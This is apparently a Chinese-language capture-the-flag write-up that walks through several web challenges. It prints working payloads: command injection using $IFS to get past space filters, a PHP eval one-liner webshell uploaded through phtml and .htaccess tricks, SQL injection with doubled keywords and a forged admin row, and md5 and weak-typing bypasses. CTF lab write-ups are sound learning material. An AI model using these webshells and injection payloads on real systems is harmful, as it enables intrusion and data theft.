[GXYCTF2019]Ping Ping Ping
使用
;
來拼接多條指令
輸入:
?ip=127.0.0.1;ls
發現有flag.php
?ip=127.0.0.1;cat index.php
應該是過濾了空格,可以用
$IFS$1
繞過
讀取到index.php,F12看過濾了什麼,過濾的很幹淨
注意這裡:
preg_match("/.*f.*l.*a.*g.*/", $ip)
這個的意思是比對到按flag這個順序的所有字元
是以我們不按順序就好了:
payload:
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
[極客大挑戰 2019]Upload
上傳一句話木馬,改包,直接兩個地方一起改
提示不能有<?這個标簽,嘗試這樣繞過
<script language="php">
還是不行
把檔案字尾用phtml繞過,再嘗試這個
GIF <script language="php">eval($_POST[1])</script>
蟻劍連接配接,在根目錄發現flag
[極客大挑戰 2019]BabySQL
萬能密碼輸入,發現or不見了,嘗試雙寫
oorr
,成功
盲猜三個字段,直接查回顯,發現被過濾,繼續雙寫
果然!!!
接下來就是組合拳了
查庫名,geek
查表名,發現過濾掉了where和from
是以再雙寫一波from和where,發現or過濾了導緻information也出錯了
最後獲得表名b4bsql
查詢字段
查詢記錄發現居然沒有flag,猜想估計不在這個庫裡面,查詢一下所有的庫名
明顯是這個ctf庫
最後查詢記錄:
[ACTF2020 新生賽]Upload
有js阻撓,直接關閉js就行了,上傳一句話木馬
開蟻劍拿到flag
[極客大挑戰 2019]BuyFlag
打開pay頁面,應該是對身份資訊有驗證
F12看到了密碼的判斷條件
抓包改請求方式為post,他說數字太長了,那就用科學計數法10e10
拿到flag
[ACTF2020 新生賽]BackupFile
一看到備份檔案我就啪的一下輸入了一個index.php.bak,沒想到真整出來了哈哈哈,掃描都免了
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
涉及到一個函數
intval()
,作用是擷取變量的整數值
考察php的弱類型
payload:
[BJDCTF2020]Easy MD5
response裡面有hint,給出了sql查詢語句
可以發現md5函數第二個參數為true的時候是原始16字元二進制格式
有sql語句就肯定逃不了sql注入,就是在md5加密後構造出一個
or
來使判斷為真
看别的wp裡有現成的撿:
有這兩個常見的
129581926211651571912466741651878684928
ffifdyop
如果要究其源頭就是寫腳本來跑,為了友善可以直接寫php的腳本來跑,我沒寫,大概思路就是讓MD5加密後的密文比對or這個字元串
第一層payload:
ffifdyop
第二層
md5碰撞:
?a=s878926199a&b=s155964671a
第三層:
三個等号,數組繞過
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
payload:
param1[]=1¶m2[]=2
flag得到
[RoarCTF 2019]Easy Calc
源碼提示通路calc.php,發現正則過濾
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
不能給num傳字母參數,繞過waf的方法是在參數名前面加上空格,在伺服器處理url的時候就會自己删去空格
參考
接下來就目錄查詢嗎,/被過濾,是以要用chr繞過
payload:
calc.php? num=print_r(scandir(chr(47)));
讀取flag
payload:
? num=file_get_contents(chr(47).f1agg)
[HCTF 2018]admin
随便注冊一個登陸進去,發現源代碼裡面說
是以就是要僞造admin登陸,一開始我看到可以寫post,就以為是存儲型xss,但是試過了沒有用,繼續檢索,發現了github上的源碼
不會做。。。
[MRCTF2020]你傳你🐎呢
名字夠祖安。。
經過burp測試,發現隻有字尾為圖檔格式可以上傳
這裡學到了一個新的操作
.htaccess
檔案
.htaccess檔案(或者"分布式配置檔案"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法,
即,在一個特定的文檔目錄中放置一個包含一個或多個指令的檔案,
以作用于此目錄及其所有子目錄。作為使用者,所能使用的指令受到限制。管理者可以通過Apache的AllowOverride指令來設定。
當.htaccess檔案這樣寫的時候
意思就是把其他類型檔案當php解析
SetHandler application/x-httpd-php
也可以這樣寫
意思是把jpg格式當php解析
AddType application/x-httpd-php .jpg
注意,上傳.htaccess的時候filename隻能是
.htaccess
連接配接蟻劍拿到flag
[GXYCTF2019]BabySQli
随便登陸一次,看到源代碼有一段編碼的字元,試了一下是先base32再base64
得到sql語句
過濾了or,但是OR沒有
嘗試後發現,隻有判斷使用者名為admin的時候才有密碼的判斷,不然都是wrong user!
查詢字段數,發現隻有三個字段
進行聯合注入:
admin' union select 1,2,3#
,回顯是wrong pass
看了wp後,學到一些新的操作
猜測:
猜測題目會将原密碼值md5加密後插入資料庫
在進行登入的時候會進行邏輯判斷:目前輸入的密碼進行md5加密後是否與資料庫裡面的相等,如果相等則登陸
由于我們用聯合注入的時候,是繞過了md5加密的,是以我們需要把加密後的密文當成密碼進行注入
聯合注入會建立一條資料,如果引号前還是admin,這存在于資料庫的資料就會直接和pass比對,由于隻能有admin來登陸,是以我們可以構造一條記錄,name為admin,pass為md5加密後的123,這樣就可以了
0' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
密碼輸入123,這時候就會拿前面這個md5的密文去和123進行加密後的密文比對,相等則通過